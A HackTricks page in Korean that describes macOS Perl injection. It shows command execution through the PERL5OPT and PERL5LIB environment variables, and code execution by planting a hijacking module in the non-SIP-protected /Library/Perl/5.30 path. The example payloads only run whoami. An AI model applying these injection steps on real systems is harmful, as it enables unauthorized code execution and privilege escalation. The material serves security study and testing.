macOS Perl Applications Injection
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
PERL5OPT
및 PERL5LIB
환경 변수를 통한 방법
환경 변수 PERL5OPT를 사용하면 perl이 임의의 명령을 실행하도록 할 수 있습니다.
예를 들어, 이 스크립트를 생성하십시오:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
이제 환경 변수를 내보내고 perl 스크립트를 실행합니다:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
또 다른 옵션은 Perl 모듈을 만드는 것입니다 (예: /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
그리고 env 변수를 사용하세요:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via dependencies
Perl 실행의 의존성 폴더 순서를 나열하는 것이 가능합니다:
perl -e 'print join("\n", @INC)'
다음과 같은 결과를 반환합니다:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
반환된 폴더 중 일부는 존재하지 않지만, **/Library/Perl/5.30
**는 존재하며, SIP에 의해 보호되지 않고 SIP에 의해 보호되는 폴더 앞에 있습니다. 따라서 누군가 그 폴더를 악용하여 스크립트 종속성을 추가할 수 있으며, 높은 권한의 Perl 스크립트가 이를 로드할 것입니다.
warning
그러나, 그 폴더에 쓰기 위해서는 root 권한이 필요하며, 요즘에는 이 TCC 프롬프트가 표시됩니다:
예를 들어, 스크립트가 **use File::Basename;
**를 가져오고 있다면, /Library/Perl/5.30/File/Basename.pm
을 생성하여 임의의 코드를 실행할 수 있습니다.
References
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.